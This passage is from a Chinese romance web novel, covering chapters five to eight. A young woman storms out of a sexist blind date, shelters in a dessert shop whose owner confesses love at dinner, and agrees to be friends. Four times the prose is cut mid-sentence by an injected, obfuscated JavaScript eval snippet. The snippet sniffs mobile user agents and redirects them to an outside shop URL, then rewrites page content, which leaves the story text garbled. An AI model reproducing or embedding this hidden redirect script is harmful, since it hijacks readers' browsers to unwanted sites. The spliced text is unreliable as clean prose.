林盛听完点点头,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591045|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也是,毕竟女人嘛,总是要回归家庭的。”他边说边往自己的茶杯里添满茶水。 邬荔听见这话,顿时觉得林盛前一秒还算端正的五官莫名生出一股油腻的气质,她强忍着心中的不忿,努力用平稳的声音问:“你说的回归家庭,意思是?” 林盛将手边的茶水一饮而尽,喝完咂咂嘴,说:“当然是结婚生孩子啊,你不是都二十六了吗,再晚几年可就算高龄产妇了。”他看向邬荔的眼神不再掩饰,从上到下打量着她,那侵略性的目光快要溢出来,“身材是瘦了点,但生个两胎应该没问题。” 明明是平静的语气,可羞辱人的话就这样轻飘飘地荡出来。 “谁要给你生孩子。”邬荔攥紧手里的茶杯,极力克制住自己想要把它砸碎的冲动。 “什么?” “我说,你癞蛤蟆想吃天鹅肉,想让我给你生孩子?痴心妄想。”邬荔重重地将茶杯磕在桌面上,强忍着恶心起身对上那人的目光,“没看出你有哪点需要繁衍的必要,你以后的孩子真可怜,只能继承到你的迂腐的思想和可笑的认知。” “你!”一分钟前还气势凌人的男人瞬间坐不住了,刚想站起来却被邬荔一手按在座位上。 “哦对了,还有三十不到就快掉光的头发。” 说完,邬荔头也不回地往大门走去。 等她冷静下来的时候,已经坐在去良缘路的地铁上。 邬荔第一次在熙熙攘攘的人群中体会到难以言说的安全感。 手机屏幕一次又一次亮起,柳芳月的电话一个接一个地打进来。邬荔知道自己刚才又冲动了,可眼下实在没力气应付,索性长按关机键,把一切烦恼抛之脑后。 “下一站,良缘路——” 邬荔随着人群挤出去,踏出地铁站的前一秒她还在感叹今天的天气不错,没走几步天空竟淅淅沥沥地下起雨来。 “不是吧!今天也太衰了!”邬荔一边哀嚎着,一边祈祷这雨别再下大了。 可老天偏要和她作对,连几分钟的时间都等不了。 邬荔刚走到一半,雨势骤然加剧。她看着近在咫尺的小区,却实在无法靠近,只能迅速拐进最近的一家店铺避雨。 “叮铃铃——” 清脆的风铃声,在开门的刹那,盖过了屋外淅淅沥沥的雨声。然后是蛋糕的香甜和咖啡的馥郁接踵而至,邬荔这才发现自己走进了一家甜品店。 一个穿着俏皮的洛丽塔的女生闻声走到她身边,语气轻快地对她说:“想吃什么随便看看,全都是今天新鲜出炉的哦。” 邬荔顺着她的目光看过去,充满复古气息的店中央是一面玻璃展柜,一排排做工精致的蛋糕罗列其中。 她不自觉地咽了下口水,方才被气得一点胃口也没有,此刻却食欲大开,看见什么都想吃。 邬荔走近柜台,正想挑一款最诱人的蛋糕,还没等她抬头 一道温润的男声忽而在她耳畔响起—— “好巧啊,又见面了。” 5. 第五章 “我赌一百块,程一言你要有嫂子了。”颜廷宇和程一言猫在柜台后面,不约而同地注视着不远处正坐在同一张桌子上的两个人。 “嘘!你小点声!” 邬荔像是察觉到什么,回头张望了一瞬。 这一举动吓得程一言立马拽起颜廷宇,随手拿起旁边的抹布,装模作样地擦起柜台来。 偏偏颜廷宇是个没有眼力见的,还凑到她身边低语道:“你看到老大刚才那个样子没?咖啡拉花的时候居然手抖了!连着做了两次才给人端上去,你说那个女生什么来头,居然能撬动你哥的心。” 程一言迅速往邬荔的方向瞄了一眼,见后者没有再看过来,这才松了一口气,说:“你别乱猜!我哥一直都有喜欢的人,怎么可能随随便便就动心了。” “万一你哥对人家一见钟情了呢,我看那女生还挺漂亮的。” “那漂亮的那么多我哥全娶回家啊?!”程一言把抹布拍在他身上,“别八卦了,还有三个外卖等着呢,赶紧干活去!” 颜廷宇被打了也不恼,转身笑嘻嘻地回后厨打包外卖。 程一言低头整理柜台上的零碎杂物,眼睛却还是忍不住往程一叙和陌生女生的地方瞟。 邬荔今天穿了条粉色连衣裙,齐肩的黑发落在一字肩上,耳尖若隐若现的珍珠耳环更是衬得整个人都透着温润又明媚的气质。 颜廷宇倒是说对了一句话,她想,那个女生确实好漂亮。 - “程先生,这个店是你开的?”邬荔坐定后环看一周。 甜品店里是沉静的中古风格,目之所及,皆是深色的胡桃木被暖黄色的灯光包裹。此刻店里的人不多,他们就坐在窗边,与窗外风雨交加的世界隔了一层玻璃,更显得这里温暖舒适。 程一叙眼睛一弯,笑着说:“看着不像吗?” 邬荔赶忙摆摆手,“没有没有,只是觉得……”她眼神飘忽,总不能说她觉得他长得像花花公子,比起甜品店更像是开酒吧的? 她一时间想不到合适的话回答,假借口渴捧起咖啡往嘴边送,刚抿了一口,就听见对面的人开口说话。 “看来邬小姐还觉得我是骗子?” “咳咳咳——”邬荔一口咖啡差点没咽下去。 程一叙下意识拿起桌边的餐巾纸递过去,女孩不知是呛的还是羞的,白皙的皮肤被蒙上一层粉红,脸颊蔓延到耳根。 ——这么不经逗呢,下次还是不能乱说话了。 “嗯,谢谢。”邬荔快速抽走他手里的餐巾纸,胡乱在脸上抹了一通。 “抱歉,是我冒犯了。”程一叙起身,“你慢慢吃,有什么需要的再叫我。” 邬荔见程一叙要走,不知哪来的勇气,伸手拉住对方的手腕。 “等等!” 被女孩轻握住的手腕在衬衫下一颤,程一叙第一次觉得,这块不敏感的皮肤,竟也能这样滚烫。 女孩微微仰起头,两人视线交汇的瞬间又将手指讪讪收回,随即郑重其事地说道:“程先生,上次的事情是我误会了,我欠你一句抱歉,对不起。” 程一叙坐回座位,在女孩澄澈双目的注视下什么脾气都没有了,可又不想“轻易”放过她。 只得装作一副不知情的样子,道:“不知道邬小姐说的是什么事情?我只记得那家餐厅做的龙虾味道很不错,还有我们一起度过了一个愉快的晚上。” 邬荔闻言呼吸一滞,不自觉地攥紧手中的餐巾纸,良久才硬着头皮说:“就是,就是我上次把你当成杀猪盘的骗子了!我不应该以貌取人的,对不起!”她越说越泄气,羞愧地抬不起头。 “这不怪你,是我的错。”程一叙见好就收,他是真怕再逗下去眼前的女孩会把头埋进桌子里,“是我没能给足让你信任的理由,你有权保持怀疑的态度。” “你,你不生气吗?”邬荔不解地抬头,这和她预计的反应完全不同,她准备好道歉的话还一句也没用上呢。 “我为什么要生气?”程一叙笑道:“没想到我居然还有当杀猪盘的资本,这听起来倒像是一种夸奖了。” 邬荔被他传染,嘴边也染上了笑意,绷着的身体彻底放松下来。 “我还是应该道歉的,上次那顿饭花了你不少钱吧,我现在转给你。”说着她摸出包里的手机。 等待开机的过程却听见程一叙说:“一餐便饭而已,邬小姐不用和我客气的。” “那怎么行,亲兄弟还明算账呢,更何况确实是我不对。”她点开微信,忽略掉不断弹出来的红点,对他说:“来吧,我扫你。” 程一叙这下倒是没有推脱,他打开二维码的界面,二人迅速添加为好友。 邬荔:“你也不用跟我客气了,叫我邬荔就好,现在可以把账单发我啦。” 程一叙没有动作,而是抬头问:“邬荔,你不欠我的,如果觉得不好意思可以再请我吃一顿饭?” 邬荔摇摇头,坚定地说:“不了不了,还是a钱比较好。” 可真当邬荔看清那天的账单的时候,忽然又觉得自己没那么坚定了,一顿饭居然要搭进去她两个月的房租,这对于目前无业的她来说和天价无异。 嘴唇被她无意识咬得发白,良久她抬头,目光如炬地看着程一叙,问:“我现在后悔还来得及吗?” “当然。”程一叙依旧轻松地回答,“你什么时候有空?” 邬荔见窗外雨势渐小,估摸着今天不会再下,思索了一下说:“不如就今晚?我想先回家换个衣服。” 纵使方才她跑得再快,裙摆还是被浸湿了一大片,湿漉漉的裙子贴着小腿既黏腻又难受。 程一叙起身说:“可以,我送你。” 邬荔也随之站起来,“不用了,我家就在这附近,你能借我把伞吗?” “好,稍等一下。” “嗯。” 程一叙快步走进柜台后,现在大堂就剩她一个人。 店里的陈设复古讲究,邬荔细细看过去。她这才发现不远处的墙体竟是由一整面书柜组成。 她正想凑过去看个仔细,可还没走到墙边,程一叙就从柜台里走了出来。 他将手里的纸袋和雨伞递过来,“路上小心,注意安全。” 纸袋沉甸甸的,邬荔打开一看,里面是包装好的几盒蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591046|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她顿时想要把东西还回去,“程先生,我拿把伞就可以了,刚才的咖啡你没让我付钱,现在我又怎么好白拿你的蛋糕呢。” 程一叙笑着把手背过身,不给她拒绝的机会,“来我店里的客人没有空着手走的道理。” 邬荔没办法,只得收下,“要不这样吧,我不白吃你的蛋糕,等我尝完了给你写反馈怎么样?” “好啊,我相信邬小姐一定有对食物独到的见解,我很期待你的反馈。” “怎么这么说?”邬荔虽然觉得奇怪,但这个人从第一次见面就好像对她有莫名的好感,总是给她意想不到的惊喜。 “可能是因为上次见面之后我觉得邬小姐是一个尊重食物、对待食物很真诚的人吧。”程一叙轻声道。 提到上次见面,邬荔感到一股潮热又要爬上脸颊,她不敢再待下去,只得点点头说:“好!我一定不辜负程先生的重任。” 邬荔逃也似地转身,眼睛越过玻璃门,身下的脚不受控制般向前扑去—— “小心!” 等她反应过来要撞上玻璃的时候只来得及闭眼,可没有预想中的痛感袭来,只有腰间传来一阵暖意,随即后背就靠上了一个坚实的后盾。 邬荔仰头看去,本就好看的五官在她眼前骤然放大,她更是不慎落入男人琥珀色的瞳孔里。 邬荔瞬间一怔。 “怎么样?有撞到吗?”程一叙关切地问。 邬荔还被他圈在怀里,两人紧贴在一起,此起彼伏的心跳声分不清是他的还是她的。 她这才回魂,趔趄地从程一叙怀里起身,“没,没事。” 一时间尴尬和无措像刚才的大雨一样席卷而来,邬荔低着头故意不去看他,飞快地说:“程先生我先走了,我晚点再联系你……” 她也不知道自己的话说完没有,只知道回到家里,换完衣服后在房间的镜子里还能看到耳根尚未褪去的绯红。 “邬荔啊邬荔,你就不能争气一点嘛!怎么看见一个帅哥就话也说不清了,路也不会走了!明明以前不会这样的啊……”她无奈地摸上粉红色的耳朵,气鼓鼓地搓了两下。 她垂头丧气地走到餐桌边坐下,将提了一路的纸袋放在上面。 邬荔手指机械性地打开包装,本来还在为刚才的举动懊恼,肚子却在看到蛋糕时发出“咕咕”一声。 算了,事已至此还是先吃蛋糕吧。 半个餐桌都被不同品种的小蛋糕占满,她一个个吃过去,吃之前还不忘拍照记录,吃完更是认真地写下每个品种的口感。 邬荔整理好所有意见,已经到了下午三点。她打开微信,找出刚加上的程一叙。 对方微信头像是一只笑得见牙不见眼的柯基,她看看头像,又看了眼备注“程一叙”,这才确定是他的微信,她是真没想到看似沉稳的一个人却用这么可爱的头像。 邬荔笑着给他发过去自己做的文档,然后打字:【程先生,今天晚上六点半有空吗?我把欠你的饭补上。】 消息刚发出去不到一分钟。 柯基头像就在她屏幕上一闪:【可以,我在店里等你。】 6. 第六章 “收拾一下,准备下班。”程一叙掐着时间,一到五点就把门口挂着“open”的牌子翻过来。 程一言擦桌子的手一顿,不解地问:“为什么啊?还有那么多蛋糕没卖完呢?” 程一叙像是预判了她的问题,已经开始在柜台打包那些还没出售的蛋糕:“那就正好给你带回学校,和同学分着吃吧。”说着还让在后厨的颜廷宇也出来一起帮忙。 颜廷宇听到可以早下班不知道有多高兴,连带着打包的手速也快了不少:“程一言你想加班就自己留下来啊,可别带上我。” 他话还没说完,就被抹布砸了个劈头盖脸。 “消极怠工!”程一言转头对程一叙说:“哥,这个月别给他发奖金了,我看他天天都在偷懒!” 程一叙对两个小朋友打闹无动于衷,只把包好的蛋糕放进大号保温袋,说:“好了好了,都赶紧回去吧,不然我可要反悔了。” 他把装好的大袋子递给程一言,叮嘱她回学校之后记得发消息给他,又把单独的小袋子分一个给颜廷宇,“你也带点回去当宵夜吧。” “谢谢老大!”颜廷宇麻利地脱下围裙,拿上袋子就拽着欲言又止的程一言走出店门。 “哎呀,你干嘛啊!”程一言不耐地甩着胳膊,“事出反常必有妖,我哥从下午开始就一直盯着时钟看,他一定有古怪!现在又突然赶我们走,不行,我要回去问个清楚。” “大小姐你消停一会吧!”颜廷宇不由分说地把她往远处带,“你哥那么大个人了,有点自己的秘密不是很正常的事情?你就把心放到肚子里吧。” 程一言冷静下来觉得他说的也不无道理。 “那不说我哥了,你怎么还跟着我?”她狐疑地看着旁边提着两个袋子的颜廷宇,伸手就要去把自己的那份拿过来,不料后者一闪身,没让她碰到袋子的分毫。 “316还有几分钟就到了,提着这么重的袋子你觉得就凭你跑八百米都要五分半的成绩能赶上?” 说着他一手提袋子,一手还有力气拉着她的手腕往前跑。 “快点吧,再不跑就要等半个小时了。” 程一言被他说的话气得脸红,偏偏这人从小和她一起长大,以前体测都是颜廷宇跑完自己的项目再来带着她跑,不然她连及格的机会都没有。 316终点站就在她的大学,平时没课或者周末她都会坐车回市区,除了比较难等没有别的缺点。 不枉她跑得气喘吁吁,终于是赶上了这趟车。 颜廷宇在她上车之际才把袋子放她手心。 程一言在窗边坐定,余光瞥到窗外才发现那人竟然还没走。刚才的奔跑好似也没对他产生任何影响,他伫在公交站台上,高挑挺拔的身影显得格外清俊。 很快公交车开动,那道身影也随之消失在马路尽头。 她突然想到颜廷宇妈妈说的,她儿子是跟女娲用智商换的长相,不然也不会考不上大学跑去学做蛋糕了。 程一言现在觉得这句话挺对的,她看了眼握着的袋子把手,上面仿佛还带着那人的体温。 “再好看有什么用,还不是个榆木脑袋。”她嘟囔道。 - 出门前,邬荔洗了个澡,卷发时她打开了齐溪送的乔迁礼物——一支蒂普提克的发香喷雾。 虽然她觉得和程一叙吃完这次饭之后应该不会有太多联系,估计最多也只是朋友圈的点赞之交。 但一想到之前可能给他留下那样差的印象,邬荔就忍不住想好好准备一下,争取挽回一点她所剩无几的形象。 就算挽回不了太多,她也要让人家开开心心吃一顿饭。 想到这,邬荔这才发现她和程一叙实在是太不熟了,她完全不知道对方的口味喜好。 “他开甜品店,那应该喜欢吃甜?有什么甜口的菜系吗……杭州菜?”邬荔打开大众点评搜了一圈,没找到什么特别适合的餐厅,也琢磨不透程一叙的口味。 再三思考,她还是决定直接发信息问问:【程先生,方便问问你喜欢什么菜系吗?能吃辣吗?】 对方依旧回得很快:【我都行,挑你喜欢的就好。】 邬荔:【那川菜可以吗?】 程一叙:【可以的。】 看到肯定的回答,邬荔松了一口气,她觉得程一叙是个随和的人,至少这几次相处下来没发现他有小说里的那些帅哥都有的通病。 “什么都说好,还真随和。”邬荔对着手机喃喃道。 突然,又是一条消息弹出来。 程一叙:【以后叫我程一叙吧,不用那么拘谨,就当是请朋友吃个便饭。】 这倒像是验证了她的想法。 邬荔会心一笑,回道:【好。】 她放下手机就开始化妆,本来想着一个小时肯定能化完,这样出门还有十几分钟的空余。 可没想到今天手感尤其的差,不是眼线怎么都画不对称就是眼睫毛怎么也贴不好。 匆匆忙忙化到最后,时间竟然已经快过了六点半。 邬荔赶忙走到门口穿鞋,随手捞起挂在椅子上的包包就往外跑。 “不,不好意思……” 等她气喘吁吁地跑到那家甜品店,程一叙已经站在门口等候了。 “别着急,我也才到。” 邬荔站定,她缓缓抬眼,看到程一叙也换了一套和早上不同的衣服。 简单的浅杏色衬衫里面是纯白的内搭,配上蓝色牛仔裤,看上去十分清爽。 她不知道程一叙的年纪,之前估摸着两人应该差不多大,但现在这猛一看过去,说他是大学生也不为过。 “我们晚上去哪里吃?” “噢,”邬荔回神,“去一家我从大学吃到现在的川菜馆,就在同济路那边。” “好。”程一叙点头,“那上车吧。” 他从外套口袋拿出车钥匙,停在马路对面的黑色沃尔沃的车灯随之一亮。 程一叙示意邬荔一起上车,可后者却不为所动。 “怎么了?”他柔声道。 “那个……那个餐厅有些偏,你这么大的车是开不进去的。”邬荔面露难色,她硬着头皮抬手往旁边一指,说:“我们坐这个去!” 程一叙顺着她的手看过去,一辆粉色的电动车在一众黑灰色里显得格外引人注目。 邬荔见他动作明显一滞,又说:“不方便坐的话,那我们打车过去也是可以的。” “没有不方便。”程一叙回望邬荔,“只是我之前只骑过自行车,对于电动车可能不太熟练。” 邬荔看着他认真的模样,不禁莞尔道:“不用你骑,走吧,我带你。” 两分钟后,粉色电动车上多了两个戴粉色头盔的人。 程一叙个子太高,坐在后面不得不曲起长腿,加上电动车位置狭窄,两个人之间的距离贴得极近。 “你要是觉得不稳可以扶着我,准备出发啦。” 程一叙说好,却只是把手扶在座垫旁的金属条上。 电动车很快开动,破开的风把女孩露在头盔外的头发吹得飘扬。 柔软的发丝若有似无地在程一叙的面前晃荡,恬淡的香味有一下没一下地钻进他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591047|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻腔。 “呃——” “不好意思不好意思!你没事吧?” 突如其来地急刹车让程一叙本能地搂住女孩的肩膀,本来只在眼前晃荡的发丝这下全没进他的鼻尖。 原来是玫瑰味的,好像……还带着几丝荔枝的清甜。 “没事,你骑车小心。” “好,你抓稳我,别松手了。” 程一叙应下,不过这次,他鬼使神差地没有松手。 电动车穿过马路,在不起眼的小巷子里拐来拐去。 程一叙好几次以为前面没有路了,可每每邬荔都能找到新的路口继续往里面开。 “到啦!” 程一叙抬头,朱红色的招牌上写着“藏味馆”,难得在一众狭小的居民楼街道里面坐拥两层楼的铺位,门外还有不少人等着叫号。 邬荔停好车,小跑到他身边,说:“我定好位置了,快进去吧。” 来到熟悉的环境,邬荔明显轻松许多,话也变得多了起来,她轻车熟路地带程一叙往二楼走。 “这家店已经开了二十多年,味道很正宗,和我去成都吃的不相上下。” “那一会儿全靠你推荐了。” 里面装修很古朴,木桌长凳,天花板上还吊着几个大红灯笼。 他们一路往里面走,在靠墙的位置坐下。 邬荔把菜牌往程一叙面前一推,“你看看有什么想吃的?” 程一叙耸耸肩,“我没有忌口,全听你安排。”又把菜牌推了回去。 邬荔不和他客气,三两下点完了菜。 上菜还要时间,邬荔眼看着气氛快要冷下来,想着再聊点什么。 这时程一叙先开了口:“你是广东人吗?很少见有本地人这么能吃辣的。” 邬荔答:“我是在广东长大的,不过我爸爸是四川人,可能给我遗传了些吃辣的天赋。你呢,也是本地人吗?” 程一叙点头:“从我爷爷的爷爷那一辈就在这边了。” 话音刚落,旁边传来一阵窸窸窣窣的声音,几个穿着洛丽塔的年轻女孩径直走向空着的桌子,恰好在他们身后落座。 邬荔视线被吸引,想到早上也见到一个这样打扮的小姑娘,回过头说:“看来很多女孩子都喜欢这种风格啊,今天在店里招待我的小姑娘,好像也穿这样的?” 程一叙闻言回头看了一眼,繁复精美的裙子把人衬得像洋娃娃似的,他不合时宜地觉得,要是眼前的女孩子穿上,也一定会很好看。 “回头我问问程一言,就是你说的那个女生。” “你们的名字那么像,是兄妹?” 程一叙直言道:“对啊,她比我小八岁,今年读大三了,没课的时候会来店里帮帮忙。” 邬荔闻言低头一笑。 惹得程一叙也跟着莞尔,“想到什么了,这么开心?” “不是不是。”邬荔摆摆手,“我就是突然觉得比起之前那一次见面,现在的我们好像在相亲。” “讨厌相亲?”他问。 邬荔想了想,回答:“也算不上讨厌,只是比起被家里人催促着走进婚姻,我更想慢慢地去认识一个人,从朋友开始做起,然后发现互相喜欢,接着表白……总之我想认真地去谈一场恋爱。” “那你觉得,我怎么样?”程一叙语气平和,看向她的眼神却又带着细碎的希冀的光芒。 “!” 邬荔没想过程一叙会说出这样的话,那真诚的眼神让她心跳骤然加速。 而对方依旧看着她,好似在用眼神追问着一个回答。 7. 第七章 “我……”邬荔张了张嘴,脑子里却一片空白,拒绝的话到了嘴边可就是怎么也说不出口。 “我从来没有谈过恋爱,今年二十八岁,有车有房工作稳定,父母健在家庭幸福。”程一叙徐徐说道,“说这些不是为了逼迫你去做什么决定,只是我觉得有些事情应该提前告诉你,我动机不纯。如果你想谈恋爱,希望你可以把我列进考虑范围之内。” 这是……在表白吗?! 邬荔紧张地咽了咽口水,这一切发生得太突然,她不自觉地攥紧拳头,掌心传来的刺痛让她终于找回自己的声音—— “为,为什么是我?”邬荔嘴唇抿成薄薄的一条线,“到现在为止,我们只见过三次,你还什么都不了解我,怎么就……” “一见钟情。”程一叙不假思索地说,“我没有在开玩笑,甚至在见到你之前我也不相信这个词,但事情就这么发生了。” 邬荔闻言瞪大了双眼,顿时哑口无言。 这时服务员托着菜盘走过来,微妙的氛围不着痕迹地被打破。 终于有了逃避回答的借口,她迫不及待地拿起筷子,“先吃饭吧,我跟你说这个夫妻肺片真的——” “邬荔。” “嗯?”她刚夹起肉片的手一抖,抬头又对上程一叙的目光。 她不合时宜地想,听了二十多年的名字,可是从他嘴里说出来的,怎么就那么让人心跳加速。 “我说的都是真的,给我一个了解你的机会,好不好?”女孩不知所措的神色全部落进他眼底,他忽地后悔,又说:“算了,先吃饭吧。” 程一叙差点忘了,第一次见面她就说过的,她喜欢慢慢来。 服务员陆陆续续地把菜上齐,她这次很克制地只点了三菜一汤。不等她陷入尴尬的境地,程一叙很快把话题转移到其他地方,加之菜馆三十周年庆被他们赶上晚间的变脸表演。 一顿饭吃得可谓是有声有色,比她想的要轻松自在得多。 邬荔发现只要程一叙不说那些让人脸红心跳的话,他确实是个不错的人,既健谈又会倾听,无论她说什么他都能接得上。 如果当对象的话……好像……也不错? 邬荔迅速打消掉这个念头,一见钟情的话听听就好了。在她小说里都鲜少发生的情节,在现实里更是不靠谱的。 她见吃得差不多了就主动去结账,回来还带了个打包盒,把没吃完的毛血旺装进盒子里,她留着明天当午饭。 两人再出饭馆的时候,已经过了晚上八点,不过门口依然人满为患。 邬荔带着程一叙兜兜转转找到小粉,他们依旧像来时那样坐上车,从弯弯曲曲的小路里找到回程的路口。 “程一叙,你家住的远吗?要不要我顺路送你回去?”邬荔在风里驰骋,怕后面的人听不清还特意加大了音量。 “还是回甜品店吧,我车在那里。” 程一叙低沉的声音贴着耳朵传来,若有似无的气息刮擦过耳畔,酥酥麻麻的感觉一直蔓延到她心里。 邬荔不知道他到底有什么魔力,几句话就像是给她下了蛊,总能轻轻松松地撩拨起她二十六年来不为所动的心。 她还没琢磨清楚这到底是一种什么感觉,突然发现周围的车流都纷纷超越她。 邬荔低头一看,屏幕竟然发出红色预警,怪不得她感觉小粉越走越慢,油门拧到最大都是龟速。 程一叙也察觉出不对,“是没电了吗?” “嗯,是。”邬荔用尽最后一丝电力,把车靠在路边。 “就剩一公里了,怎么在这时候掉链子!”她下车查看情况,确认是真的开不动。 “马上到了,一起走回去吧。”程一叙脱下头盔放好,自然地握住把手,“我来推。” 天空几乎看不到月亮,只有路灯把两人的影子拉得长长的,一前一后交叠在一起。 邬荔亦步亦趋地跟在他身边,夜晚的凉风时不时从他们二人之间穿过,她借着昏暗的路灯抬头看程一叙,那人鼻梁高挺,轮廓分明,眼下一片蒲扇似的睫毛阴影让硬朗的线条多了几分柔情。 “好看吗?” “好看啊……” 程一叙噗嗤一声笑了出来。 邬荔闹了个脸红,“哎,你别笑了!”她抬手轻推了一下他手臂,后者仍在低头浅笑。 女孩羞赧得无地自容,快走几步把坏人甩在身后。 程一叙半晌才敛住笑容,悄悄跟上女孩,心里那个问题他等了太久,忍耐着忍耐着,却还是想要知道一个答案。 “刚才我说的话,你还记得吗?” 邬荔走到十字路口,看着眼前闪烁的绿灯转红,知道这次终究是逃不过去,闷声回答道:“记得。” “那你愿意给我这个机会吗?”他走到女孩身边。 滴滴滴—— 红灯的倒计时像是催促着女孩的回答,也像是他心跳发出的预警。 滴滴滴—— 女孩终于抬头,明亮的眼睛定定地看着他,说:“要是你了解我之后,发现不是你喜欢的样子,那该怎么办?” “你喜欢吃橘子吗?” “啊?”邬荔不解。 “我喜欢吃甜的橘子,可买橘子的时候看不出酸甜,橘子剥开来也分不出酸甜,只有真的吃到嘴里,才知道是什么味道。 但我尊重你的选择,你有不喜欢吃橘子的权利。” 滴滴滴—— 红灯终于转绿,静止的马路又变得哄闹起来。 他们被人流推挤着骤然贴近,程一叙一手扶车一手揽住邬荔肩头,在过完马路时又迅速松开。 邬荔不自觉地看向自己肩膀,程一叙的话还在她脑子里打转,转来转去也找不到出口。 不喜欢橘子……不喜欢他吗? 她没有答案。 “啪嗒——啪嗒——” 几滴水珠掉落在他们脚下。 两人视线相撞,邬荔心道不好,“又下雨了?!跑吗?” “跑!” 程一叙用极快的速度把头盔扣在邬荔头上,然后两人共同朝着小区的方向狂奔。 好在只剩最后两百米,到甜品店门口的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591048|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨势才正式开始下大。 邬荔打开背包想要拿纸巾,手伸进去却先摸到了异样的触感。 “真是傻了,你看!”她这才想起来,上午借的伞被她放进包里,本来就是带来还给程一叙的,偏偏一点都没记起来。 程一叙刚把小粉停稳,确保它不会被淋到雨,转头就看见邬荔皱着眉一脸懊恼的样子。 他突然觉得她现在像只炸了毛的兔子。 他极力克制住想要给她顺毛的冲动,柔声说:“能和喜欢的人一起淋雨,看来情况也不算太糟。” 邬荔被他气笑了,破罐子破摔般说道:“那你看清楚了,我生活里就是一个很普通很普通的人,我脾气不好爱生气,喜欢哭也喜欢笑,有时候忘性很大有时候又记性很好,而且我现在是无业游民一个,这样的我你还喜欢吗?” “那巧了,我也是一个很普通很普通的人,你生气我可以哄到你不生气,你记不住的事情我可以帮你记着,我的工资养你应该不成问题,你要是想创业我也可以支持你,这样的我你愿意给我一个机会吗?” 几颗水珠从他额前滑落,睫毛也被雨水淋得湿漉漉的,他说这话的时候目不转睛地看着邬荔,她觉得他像极了电视剧里的深情男二。 “你!”这个人怎么油盐不进?! 邬荔不知道为什么他可以这么执着,明明自己已经说得这么清楚了,他怎么还是执迷不悟呢? “我没有现在谈恋爱的想法,但这几次相处下来我也确实不讨厌你,所以,我们可以先做朋友。” 程一叙眼睛一亮,说:“真的吗?” “当然是真的。不过,我有一点要求。”邬荔昂首挺胸。 “你说。” “朋友最重要的就是忠诚,你不能骗我,以后无论发生什么都要跟我说实话。” 不知是不是灯光太暗,她隐约看见程一叙眼睛里闪过一丝犹豫,却又很快听见他说—— “好,我保证。” _ “事情就是这样了。”邬荔抱着手机,边敷面膜边跟齐溪说:“你说我当时是不是应该拒绝啊?” “啊哈哈哈哈哈哈哈!”齐溪听完笑得花枝乱颤,大喊道:“拒绝什么啊!我的宝你终于要谈恋爱了!” 邬荔被她突然提高的分贝吓了一跳,赶忙关小声音,“我哪有啊?八字没一撇的事情你可别乱说。” “那人家都表示得那么明显了,你呢,你到底什么感觉啊?” 邬荔眼神扫过墙角撑开的黑色雨伞,还有手边她从包里翻到的印着“一叙·甜品”的卡片。 支支吾吾地不知道该怎么回答,“就,就是朋友吧,以前也没人这么跟我说过呀。” “作为你的嫡长闺,我虽然很期待看到你谈恋爱的样子,但我还是希望你做出不后悔的选择。” 齐溪说完,两人便互道晚安。 窗外的雨不知道什么时候停了,只剩树叶被风吹得沙沙作响,像她理不清的思绪一样乱成一团。 直到邬荔躺在床上的时候还在想,她到底喜不喜欢吃橘子呢? 8. 第八章 车前的远光灯还一直亮着,直到邬荔的背影彻底消失在程一叙视线里,他这才摸出手机,点进早已被置顶的对话框。 【顺顺荔荔:[文件]-小蛋糕的试吃反馈.docx】 他点进文档,顺着目录看过去,从外形、口感到味道,六种蛋糕被分类并写出不同的评价,结尾还有改进意见。 【咖啡栗子戚风的蛋糕胚很松软!不过咖啡的苦味在栗子的香甜中存在感过强,要是能保留醇香的味道少些苦感就非常好啦~】 【蓝莓瀑布给到一个夯!虽然样子丑丑的但味道真的超级美味!】 …… 程一叙一页页看着,女孩跳脱的语言和独特的见解让他眼前一亮。他没想到随口的一句话竟然也会被这样认真地对待,字里行间仿佛能看见她边吃边写出这些感受的样子。 还真是一点都没变…… 这时程母一个电话打进来,他顺势接起。 “可乐我放庭宇家了,他有没有跟你说呀?” 可乐是他爸妈养的短毛柯基,今年已经三岁了。 